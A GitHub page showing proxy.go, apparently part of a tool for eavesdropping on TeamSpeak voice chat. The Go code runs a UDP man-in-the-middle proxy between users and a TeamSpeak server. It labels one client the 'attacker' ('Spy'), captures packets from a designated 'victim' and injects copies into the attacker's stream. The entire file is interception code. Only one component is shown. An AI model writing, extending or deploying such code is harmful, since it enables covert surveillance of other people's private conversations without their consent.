-
Notifications
You must be signed in to change notification settings - Fork 0
/
proxy.go
51 lines (44 loc) · 1.53 KB
/
proxy.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main
import (
"fmt"
"net"
)
func (proxy *proxyInterface) readInputPacket(connection *net.UDPConn) {
for {
buffer := make([]byte, 4096)
packetSize, userAddress, _ := connection.ReadFromUDP(buffer)
if proxy.usersMap[userAddress.String()] == nil {
proxy.usersMap[userAddress.String()] = &userClient{
proxy: proxy,
incomingPackets: make(chan []byte, 4096),
userAddressIP: userAddress.String(),
injectPacket: make(chan capturePacket, 4096),
lastTalkId: make([]byte, 2),
end: make(chan int)}
go proxy.usersMap[userAddress.String()].UserTeamspeakConnection(proxy.teamspeakAddress)
}
proxy.usersMap[userAddress.String()].incomingPackets <- buffer[0:packetSize]
if proxy.startCapture {
if proxy.attacker == "" {
proxy.attacker = userAddress.String()
fmt.Printf("Spy -- IP: %v \n", proxy.usersMap[proxy.attacker].userAddressIP)
}
if userAddress.String() == proxy.victim && len(proxy.usersMap[userAddress.String()].last13) != 0 {
if buffer[0] == proxy.usersMap[userAddress.String()].last13[0] && buffer[1] == proxy.usersMap[userAddress.String()].last13[1] {
proxy.usersMap[proxy.attacker].injectPacket <- capturePacket{data: buffer[0:packetSize], typeOfPacket: "in"}
}
}
}
}
}
func (proxy *proxyInterface) sendOutputPacket(connection *net.UDPConn) {
for {
packet := <-proxy.clientToProxy
h, _ := net.ResolveUDPAddr("udp4", packet.address)
_, err := connection.WriteToUDP(packet.data, h)
if err != nil {
fmt.Println(err)
return
}
}
}